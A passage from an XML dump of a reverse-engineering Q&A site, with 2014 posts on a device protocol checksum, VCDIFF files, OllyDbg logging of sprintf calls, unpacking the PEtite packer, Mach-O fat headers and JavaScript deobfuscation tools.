appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Made some success with debugging the application using ollydbg. The CRC appears in register (reversed) EDX at the selected line in the following screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u0mTF.png&quot; alt=&quot;crc showing up&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8640" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-10-01T07:20:34.507" Title="Safecom TA-810 protocol (having trouble with the CRC)" Tags="|ollydbg|protocol|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6343" PostTypeId="1" CreationDate="2014-09-29T12:45:55.243" Score="2" ViewCount="580" Body="&lt;p&gt;I have a file I am trying to extract to view and I'm stuck... If I use binwalk I am able to get the gunzip file but unable to extract it... If I attempt to extract with gunzip I return the errors and if I use binwalk, when I get a file &lt;code&gt;0.gz&lt;/code&gt;. It will remain in a 'loop' meaning I can continue to extract it over and over again with binwalk ending up in with a 'directory loop'.  Does anyone know a solution to this? am I doing it all wrong? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@svr3:/home/monday_home_test# file testfile&#xA;testfile: VCDIFF binary diff&#xA;root@svr3:/home/monday_home_test# binwalk --extract testfile &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;465           0x1D1           gzip compressed data, from Unix, last modified: Sun Sep 28 08:49:05 2014&#xA;&#xA;root@svr3:/home/monday_home_test# &#xA;root@svr3:/home/monday_home_test/_testfile.extracted# ls&#xA;1D1.gz&#xA;root@svr3:/home/monday_home_test/_testfile.extracted# binwalk --extract 1D1.gz &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             gzip compressed data, from Unix, last modified: Sun Sep 28 08:49:05 2014&#xA;&#xA;root@svr3:/home/monday_home_test/_testfile.extracted# ls&#xA;1D1.gz  _1D1.gz.extracted&#xA;root@svr3:/home/monday_home_test/_testfile.extracted# cd _1D1.gz.extracted/&#xA;root@svr3:/home/monday_home_test/_testfile.extracted/_1D1.gz.extracted# ls&#xA;0.gz&#xA;&#xA;root@svr3:/home/monday_home_test/_testfile.extracted/_1D1.gz.extracted/_0.gz.extracted/_0.gz.extracted# ls&#xA;0.gz&#xA;root@svr3:/home/monday_home_test/_testfile.extracted/_1D1.gz.extracted/_0.gz.extracted/_0.gz.extracted#  binwalk --extract 0.gz &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             gzip compressed data, from Unix, last modified: Sun Sep 28 08:49:05 2014&#xA;&#xA;root@svr3:/home/monday_home_test/_testfile.extracted/_1D1.gz.extracted/_0.gz.extracted/_0.gz.extracted# ls&#xA;0.gz  _0.gz.extracted&#xA;root@svr3:/home/monday_home_test/_testfile.extracted/_1D1.gz.extracted/_0.gz.extracted/_0.gz.extracted#     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Gunzip Errors&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@svr3:/home/monday_home_test/_testfile.extracted# gunzip --decompress 1D1.gz         &#xA;gzip: 1D1.gz: invalid compressed data--format violated&#xA;root@svr3:/home/monday_home_test/_testfile.extracted/_1D1.gz.extracted# gunzip --decompress 0.gz &#xA;gzip: 0.gz: invalid compressed data--format violated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8639" LastEditorUserId="53" LastEditDate="2014-09-29T13:40:10.550" LastActivityDate="2014-09-29T20:58:52.620" Title="File Type - VCDIFF binary extract" Tags="|decompilation|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6346" PostTypeId="2" ParentId="6343" CreationDate="2014-09-29T20:58:52.620" Score="2" Body="&lt;p&gt;It looks like VCDIFF is not a standalone container, but a &lt;em&gt;binary patch&lt;/em&gt; file, intended to be applied on top of some already existing data. The results from binwalk are likely false positives.&lt;/p&gt;&#xA;&lt;p&gt;If you don't have the original data, you're unlikely to extract anything meaningful from it. That said, you can check the &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc3284&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC3284&lt;/a&gt; describing the file format, or some of the tools listed in &lt;a href=&quot;http://en.wikipedia.org/wiki/VCDIFF&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Wikipedia article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2021-10-07T06:47:20.403" LastActivityDate="2014-09-29T20:58:52.620" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6347" PostTypeId="2" ParentId="6337" CreationDate="2014-09-30T05:56:30.400" Score="3" Body="&lt;p&gt;So, your question is mainly about this part of the code (if I do not care about the second call which is similar anyway):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov EDI, .L.urandom&#xA;mov ESI, 8&#xA;call    open&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact, this is perfectly okay to go through &lt;code&gt;ESI&lt;/code&gt; and &lt;code&gt;EDI&lt;/code&gt; as it is done here, because the value that are transfered are 32 bits values... and, anyway, in amd64, when manipulating 32 bits registers you will blank the upper 32 bits of the corresponding 64 bits registers (zero-extended). So, you end-up with &lt;code&gt;RSI&lt;/code&gt; and &lt;code&gt;RDI&lt;/code&gt; which are containing the right values and you only had to transfer 32 bits from the memory to the registers... It may be seen as a small optimization.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-09-30T12:36:04.437" LastActivityDate="2014-09-30T12:36:04.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6349" PostTypeId="2" ParentId="6342" CreationDate="2014-10-01T07:20:34.507" Score="0" Body="&lt;p&gt;I've managed to create a php script that does the CRC calculation by debugging the application using OllyDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CRC is calculated by Adding up every 2 bytes (every short). if the result is larger than a short, the 'most significant short' is added to the 'least significant short' until the result fits in a short. Finally, the CRC (short) is inverted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll add my php script for completeness:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function CompareHash($telegram)&#xA;{&#xA;  $telegram = str_replace(&quot; &quot;, &quot;&quot;, $telegram);&#xA;  $telegram_crc = substr($telegram, 4, 4);&#xA;  $telegram = str_replace($telegram_crc, &quot;0000&quot;, $telegram);&#xA;&#xA;  echo &quot;Telegram: &quot;, $telegram, ', Crc: ', $telegram_crc, ' (', hexdec($telegram_crc), ')&amp;lt;br /&amp;gt;';&#xA;&#xA;  $crc = 0; &#xA;  $i = 0;&#xA;&#xA;  while ($i &amp;lt; strlen($telegram)) &#xA;  {&#xA;    $short = substr($telegram, $i, 4);&#xA;&#xA;    if (strlen($short) &amp;lt; 4) $short = $short . '00';&#xA;&#xA;    $crc += hexdec($short);&#xA;    $i += 4;&#xA;  }&#xA;&#xA;  echo &quot;Crc: &quot;, $crc, ', inverse: ', ~$crc;&#xA;&#xA;  // Region &quot;truncate CRC to Int16&quot;&#xA;  while($crc &amp;gt; hexdec('FFFF'))&#xA;  {&#xA;    $short = $crc &amp;amp; hexdec ('FFFF');&#xA;&#xA;    // Region &quot;unsigned shift right by 16 bits&quot;&#xA;    $crc = $crc &amp;gt;&amp;gt; 16;&#xA;    $crc = $crc &amp;amp; hexdec ('FFFF');&#xA;    // End region&#xA;&#xA;    $crc =  $short + $crc;&#xA;  }&#xA;  // End region&#xA;&#xA;  // Region &quot;invert Int16&quot;&#xA;  $crc = ~$crc;&#xA;  $crc = $crc &amp;amp; hexdec ('FFFF');&#xA;  // End region&#xA;&#xA;  echo ', shifted ', $crc;&#xA;&#xA;  if (hexdec($telegram_crc) == $crc)&#xA;  {&#xA;    echo &quot;&amp;lt;br /&amp;gt;MATCH!!! &amp;lt;br /&amp;gt;&quot;;&#xA;  }&#xA;  else&#xA;  {&#xA;    echo &quot;&amp;lt;br /&amp;gt;failed .... &amp;lt;br /&amp;gt;&quot;;&#xA;  }&#xA;}&#xA;&#xA;$s1_full = &quot;E8 03 17 FC 00 00 00 00&quot;;&#xA;$s2_full = &quot;D0 07 71 BC BE 3B 00 00&quot;;&#xA;$s3_full = &quot;D0 07 4E D4 E1 23 00 00&quot;;&#xA;$s4_full = &quot;D0 07 35 32 BE 3B 07 00   7E 44 65 76 69 63 65  4E    61 6D 65 3D 54 41 38 31 30 00&quot;;&#xA;$s5_full = &quot;0B 00 39 6C BE 3B 05 00   7E 52 46 43 61 72 64  4F    6E&quot;;&#xA;&#xA;CompareHash($s1_full);&#xA;CompareHash($s2_full);&#xA;CompareHash($s3_full);&#xA;CompareHash($s4_full);&#xA;CompareHash($s5_full);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for the feedback!&lt;/p&gt;&#xA;" OwnerUserId="8640" LastActivityDate="2014-10-01T07:20:34.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6350" PostTypeId="1" CreationDate="2014-10-01T10:47:45.530" Score="1" ViewCount="1255" Body="&lt;p&gt;I'm debugging an out-of-process COM server (an EXE), started by a dummy application I wrote. I attach the debugger when the instance is created and let the dummy application make calls to the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the debugged process, I can see that it does lots of logging by calling sprintf. I would like to capture this output. Is there a way to do this with OllyDbg 2.01?&lt;/p&gt;&#xA;" OwnerUserId="8566" LastActivityDate="2014-10-01T20:10:48.187" Title="Is it possible to capture the standard output of a process in Ollydbg?" Tags="|ollydbg|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6351" PostTypeId="2" ParentId="6350" CreationDate="2014-10-01T11:00:05.810" Score="1" Body="&lt;p&gt;I can think of these options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Edit the .exe flags to mark it as a console process. E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EDITBIN /SUBSYSTEM:CONSOLE comserver.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Use the debugger to call to &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms681944&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;AllocConsole()&lt;/code&gt;&lt;/a&gt; at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Put a breakpoint on the logging function and log the string contents in the breakpoint's action (not sure if it's doable in OllyDbg).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-10-01T11:00:05.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6352" PostTypeId="2" ParentId="6350" CreationDate="2014-10-01T12:04:47.057" Score="0" Body="&lt;p&gt;sprintf doesnt &quot;log&quot; to standard output. it prints to a variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyways: you could use a OllyDbgScript which sets a BP on sprintf and then use &lt;code&gt;BPGOTO&lt;/code&gt;command to do some actions like dump the formatted variable and run again.&lt;/p&gt;&#xA;" OwnerUserId="8595" LastActivityDate="2014-10-01T12:04:47.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6353" PostTypeId="2" ParentId="6300" CreationDate="2014-10-01T12:43:02.760" Score="2" Body="&lt;p&gt;If you are really lucky, you might be able to create a Linux initramfs image from another system (e.g. OpenWrt) if you can find one that supports the chipset, or enough of the chipset, that will boot over TFTP or &lt;code&gt;ymodem&lt;/code&gt; to get you a serial console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be some kind of support for &lt;code&gt;hisilicon&lt;/code&gt; in (&lt;a href=&quot;http://www.gossamer-threads.com/lists/linux/kernel/1958531&quot; rel=&quot;nofollow noreferrer&quot;&gt;or coming to&lt;/a&gt;) the kernel, so you may also be able to spin up a buildroot image.&lt;/p&gt;&#xA;" OwnerUserId="4212" LastEditorUserId="245" LastEditDate="2020-02-05T09:46:59.460" LastActivityDate="2020-02-05T09:46:59.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6354" PostTypeId="1" AcceptedAnswerId="6355" CreationDate="2014-10-01T12:54:21.337" Score="3" ViewCount="2351" Body="&lt;p&gt;I'm not sure if there are any legal hinderances to me asking this question, so if asking for unpacking advice is against the rules I apologize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to reverse engineering and trying to manually unpack a PEtite 2.2/2.3 as a learning experience and have been trying to follow this guide: &lt;a href=&quot;http://users.freenet.am/~softland/tutorials/Petite.v2.3.MUP.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://users.freenet.am/~softland/tutorials/Petite.v2.3.MUP.txt&lt;/a&gt;. The program I'm unpacking is the original PEtite packer itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have disabled passing on exceptions as it feels like cheating and I haven't fully grasped how exceptions work in this context, seemingly used here to derail the debugger, so I'd like to know why and how to work around it myself. I've come to this part in the guide:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;and this exception program generates for jumping to exception handler, so at that line put&#xA;breakpoint on exception handler (goto to 4164E3 and press F2), then press SHIFT+F9 and&#xA;you are at the beginning of exception handle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When using OllyDbg 1.10 (non-patched), this is what I find at the address of the exception handler (this address is also where Olly said the OEP would be when I tried out the auto-unpacker SFX ability):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V6AAr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the guide it says that I should find the line &lt;code&gt;004164E3 CALL    PETGUI.00416537&lt;/code&gt; here. As you can see there is really nothing here, however it was the address I always ended up at no matter the method I tried to use (or saw in tutorials etc.), so I did a process dump and suddenly I got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zAa8k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it struck me that since the program is self-modifying that might naturally confuse Olly, so I told Olly to re-analyze the code (before dumping the process), and I ended up with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AcIbr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the expected result, but there's something missing... the &lt;code&gt;CALL&lt;/code&gt; instruction can be seen in the opcode section but it hasn't been parsed by Olly. Now to my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why doesn't Olly parse this &lt;code&gt;CALL&lt;/code&gt; instruction properly?&lt;/li&gt;&#xA;&lt;li&gt;How come &lt;code&gt;E8 4F000000&lt;/code&gt; somehow magically becomes &lt;code&gt;CALL 416537&lt;/code&gt;? I don't see any &lt;code&gt;416537&lt;/code&gt; in the opcodes. Found this answered here, leaving it for reference: &lt;a href=&quot;https://stackoverflow.com/questions/10376787/need-help-understanding-e8-asm-call-instruction-x86&quot;&gt;https://stackoverflow.com/questions/10376787/need-help-understanding-e8-asm-call-instruction-x86&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;At the &lt;code&gt;MOVS&lt;/code&gt; instruction where the exception is raised before ending up in the exception handler, if I press &lt;code&gt;Shift-F7&lt;/code&gt; or &lt;code&gt;Shift-F8&lt;/code&gt; to single-step instead of &lt;code&gt;Shift-F9&lt;/code&gt; I somehow end up at 4E3137 which is full of &lt;code&gt;ADD BYTE PTR DS:[EAX], AL&lt;/code&gt; instructions, presumably an area of filler instructions that will later be overwritten. How come I ended up here? If I try to keep stepping I'm told &lt;code&gt;EIP&lt;/code&gt; is set to &lt;code&gt;00000000&lt;/code&gt; and can't proceed. This seems to be the case whenever I choose to exception-single step; errors show up that would be smoothly ignored if I had just used &lt;code&gt;Shift-F9&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have the same problem in OllyDbg 2.01 aswell.&lt;/p&gt;&#xA;" OwnerUserId="8659" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-10-01T14:19:43.910" Title="Why doesn't Olly's analyzation work properly in this code section?" Tags="|ollydbg|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6355" PostTypeId="2" ParentId="6354" CreationDate="2014-10-01T14:19:43.910" Score="6" Body="&lt;p&gt;Because the code at 0x4164e3 is never referenced in a CALL or JMP instruction, but (probably) used as data somewhere else (as you said the program is self-modifying), Olly thinks it's data, and has no reason to assume there's code there. See &lt;a href=&quot;https://stackoverflow.com/questions/13812554/in-ollydbg-how-do-you-force-hint-disassembly-at-a-location&quot;&gt;https://stackoverflow.com/questions/13812554/in-ollydbg-how-do-you-force-hint-disassembly-at-a-location&lt;/a&gt; for how to make sure olly treats that address as code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(In case the link goes away: Right Click -&gt; Analysis -&gt; During Next analysis, treat selection as -&gt; Command, Or at least &quot;remove analysis from section&quot; to tell olly NOT to assume data.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with single-stepping exception handlers is: If you do any kind of single-stepping, the debugger will place a breakpoint at the next instruction, execute the code at the current instruction, and hope for the breakpoint to return control to the debugger. However, the exception will call the exception handler, but the debugger doesn't even know the instruction is going to raise an exception, so it can't put the breakpoint at the exception handler's address. So, your single-step executes the exception handler (without returning to the debugger), which probably checks for the breakpoint after the instruction it came from (to actively detect a debugger) and, if it detects a debugger, jumps to &quot;nowhere&quot; to make the program crash/confuse the debugger user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of explanations on the internet that are more thorough than what i could write in a short answer, googling for &quot;exception handler single step&quot; brings up a few nice examples.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-10-01T14:19:43.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6356" PostTypeId="1" AcceptedAnswerId="6357" CreationDate="2014-10-01T15:20:57.683" Score="4" ViewCount="1243" Body="&lt;p&gt;Today I saw a command line option in the output of &lt;strong&gt;otool&lt;/strong&gt; (this is a MacOS X program, offering similar functionality as &lt;code&gt;objdump&lt;/code&gt;) that is named:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-f -- print the fat headers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what are the &lt;strong&gt;fat headers&lt;/strong&gt; ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to Google '&lt;em&gt;fat headers&lt;/em&gt;' and '&lt;em&gt;fat headers elf&lt;/em&gt;' but didn't find anything useful.  &lt;/p&gt;&#xA;" OwnerUserId="2038" LastEditorUserId="53" LastEditDate="2014-10-01T16:59:07.233" LastActivityDate="2014-10-01T16:59:07.233" Title="What is a FAT header?" Tags="|tools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6357" PostTypeId="2" ParentId="6356" CreationDate="2014-10-01T15:35:47.150" Score="7" Body="&lt;p&gt;A fat header is the header of a fat binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://books.google.com/books?id=K8vUkpOXhN4C&amp;amp;pg=PA67&quot; rel=&quot;noreferrer&quot;&gt;pages 67-68 in &lt;em&gt;Mac OS X Internals&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that a fat binary is essentially a &lt;em&gt;wrapper&lt;/em&gt;—a simple archive that&#xA;  concatenates Mach-O files for multiple architectures. A fat binary&#xA;  begins with a fat header (&lt;code&gt;struct fat_header&lt;/code&gt;) that contains a magic number followed by an integral value representing the number of architectures whose binaries reside in the fat binary.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XhELz.png&quot; alt=&quot;fat header&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-10-01T16:24:56.723" LastActivityDate="2014-10-01T16:24:56.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6358" PostTypeId="1" AcceptedAnswerId="6359" CreationDate="2014-10-01T16:18:50.690" Score="0" ViewCount="1070" Body="&lt;p&gt;I have read about &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1436/analyzing-highly-obfuscated-javascript?lq=1&quot;&gt;de-obfuscating JS files&lt;/a&gt; and about &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2103/try-to-deobfuscate-multi-layered-javascript?lq=1&quot;&gt;multi-layered obfuscation&lt;/a&gt;. I have come across a file (which I have uploaded &lt;a href=&quot;http://pastebin.com/2GUWbLsY&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) and it doesn't seem to be obfuscated except for lines 21 and 42. I there seems to be some HTML components on those lines but when I tried using JSBeautifier and JSDetox on it, it doesn't help. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Have any of the reverse engineers come across this type of obfuscation? if yes, how is it done?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is thereany way to de-obfuscate it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5865" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-10-02T01:26:00.637" Title="What kind of JS obfuscation is this?" Tags="|obfuscation|deobfuscation|javascript|" AnswerCount="2" CommentCount="0" ClosedDate="2014-10-03T08:28:50.977" ContentLicense="CC BY-SA 3.0" />
  <row Id="6359" PostTypeId="2" ParentId="6358" CreationDate="2014-10-01T16:31:18.313" Score="2" Body="&lt;p&gt;you can either print out the eval values on a custom html page using something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;document.write('&amp;lt;textarea cols=&quot;120&quot; rows=&quot;10&quot;&amp;gt;');&#xA;document.write(contents of eval);&#xA;document.write('&amp;lt;/textarea&amp;gt;');&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or use malzilla or &lt;a href=&quot;http://matthewfl.com/unPacker.html&quot; rel=&quot;nofollow&quot;&gt;http://matthewfl.com/unPacker.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3744" LastActivityDate="2014-10-01T16:31:18.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6360" PostTypeId="2" ParentId="6350" CreationDate="2014-10-01T19:38:10.853" Score="3" Body="&lt;p&gt;&lt;code&gt;sprintf&lt;/code&gt; is a crt function superseded by &lt;code&gt;sprintf_s&lt;/code&gt; both take a &lt;code&gt;destination&lt;/code&gt; a &lt;code&gt;format string&lt;/code&gt; and &lt;code&gt;varargs&lt;/code&gt;  no of arguments can range from &lt;code&gt;one to several&lt;/code&gt; depending on the format string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code for both these functions are normally embedded inside the binary (static) and needs to be located and a preparatory step needs to be done prior to logging the output that will get sprintf'fed to the Destination Buffer;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ollydbg 1.10&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;output below shows both the start of both sprintf versions (note src is available for vc compiled exes cycle the comment column to make src visible) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sprintf &#xA;00401147 &amp;gt;/$  8BFF          MOV     EDI, EDI         ; { sprintf.c:99. &#xA;&#xA;00401120 &amp;gt;/$  55            PUSH    EBP                              &#xA;; __DEFINE_CPP_OVERLOAD_SECURE_FUNC_0_1_ARGLIST(int, sprintf_s, vsprintf_s,&#xA; _Deref_post_z_ char, _Dest, _In_z_ _Printf_format_string_ const char *, &#xA;_Format) stdio.h:323. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;select the start of function &#xA;right click analysis -&gt; assume arguments -&gt; select Sformat(ptr,format,.....) apply&lt;/p&gt;&#xA;&#xA;&lt;p&gt;output post assume argument operation  cycle back to comment from src &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401147 &amp;gt;/$  8BFF          MOV     EDI, EDI     ;  Decoded as &amp;lt;Sformat&amp;gt;&#xA;&#xA;00401120 &amp;gt;/$  55            PUSH    EBP          ;  Decoded as &amp;lt;Sformat&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now all you need is a non breaking conditional breakpoint to log all the sprintf output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select the start of function and click shift+f4 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;set radio buttons as follows for both version&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pause radio button                     never &#xA;log expression radio button            never &#xA;log function arguments radio button    always &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now simply f9 and you will have all the sprintf arguments logged to log window or a file you specify (right click in log window to set up file logging )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoints&#xA;Address                            Module              Active &#xA;00401120 sprintlo.sprintf_s&amp;lt;128&amp;gt;   sprintlo            Log &quot;logging sprintf_s_arguments&quot;&#xA;00401147 sprintlo.sprintf          sprintlo            Log &quot;logging sprint arguments&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is a sample output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;CALL to Assumed Sformat from sprintlo.0040104F&#xA;  ptr = 0013FEE0&#xA;  format = &quot;%s    %03d %s %p&quot;&#xA;  &amp;lt;%s&amp;gt; = &quot;sprint logging number&quot;&#xA;  &amp;lt;%03d&amp;gt; = 0&#xA;  &amp;lt;%s&amp;gt; = &quot;logme&quot;&#xA;  &amp;lt;%p&amp;gt; = sprintlo.00401105&#xA;CALL to Assumed Sformat from sprintlo.004010BF&#xA;  ptr = 0013FEE0&#xA;  format = &quot;%s    %03d %s %p&quot;&#xA;  &amp;lt;%s&amp;gt; = &quot;sprint logging number&quot;&#xA;  &amp;lt;%03d&amp;gt; = 0&#xA;  &amp;lt;%s&amp;gt; = &quot;logme&quot;&#xA;  &amp;lt;%p&amp;gt; = sprintlo.00401111&#xA;  ==================================================================================&#xA;CALL to Assumed Sformat from sprintlo.0040104F&#xA;  ptr = 0013FEE0&#xA;  format = &quot;%s    %03d %s %p&quot;&#xA;  &amp;lt;%s&amp;gt; = &quot;sprint logging number&quot;&#xA;  &amp;lt;%03d&amp;gt; = 4&#xA;  &amp;lt;%s&amp;gt; = &quot;logme&quot;&#xA;  &amp;lt;%p&amp;gt; = sprintlo.00401105&#xA;CALL to Assumed Sformat from sprintlo.004010BF&#xA;  ptr = 0013FEE0&#xA;  format = &quot;%s    %03d %s %p&quot;&#xA;  &amp;lt;%s&amp;gt; = &quot;sprint logging number&quot;&#xA;  &amp;lt;%03d&amp;gt; = 4&#xA;  &amp;lt;%s&amp;gt; = &quot;logme&quot;&#xA;  &amp;lt;%p&amp;gt; = sprintlo.00401111&#xA;Process terminated, exit code 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;code used for demonstration&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;void insecuresprintf(int in) {&#xA;    char dummybuff[0x80];&#xA;    memset(dummybuff,0,sizeof(dummybuff));&#xA;    void* pvAddressOfReturnAddress = _AddressOfReturnAddress();    &#xA;    sprintf(&#xA;        dummybuff,&#xA;        &quot;%s    %03d %s %p\0\0&quot;,&quot;sprint logging number&quot; ,&#xA;        in,&quot;logme&quot;,*((void**) pvAddressOfReturnAddress)&#xA;        );&#xA;    return;&#xA;}&#xA;void securesprintf(int in) {&#xA;    char dummybuff[0x80];&#xA;    memset(dummybuff,0,sizeof(dummybuff));&#xA;    void* pvAddressOfReturnAddress = _AddressOfReturnAddress();    &#xA;    sprintf_s(&#xA;        dummybuff,&#xA;        &quot;%s    %03d %s %p\0\0&quot;,&quot;sprint logging number&quot; ,&#xA;        in,&quot;logme&quot;,*((void**) pvAddressOfReturnAddress)&#xA;        );&#xA;    return ;&#xA;}&#xA;int main (void) { &#xA;    for (int i =0; i&amp;lt;5; i++)    {&#xA;        insecuresprintf(i);&#xA;        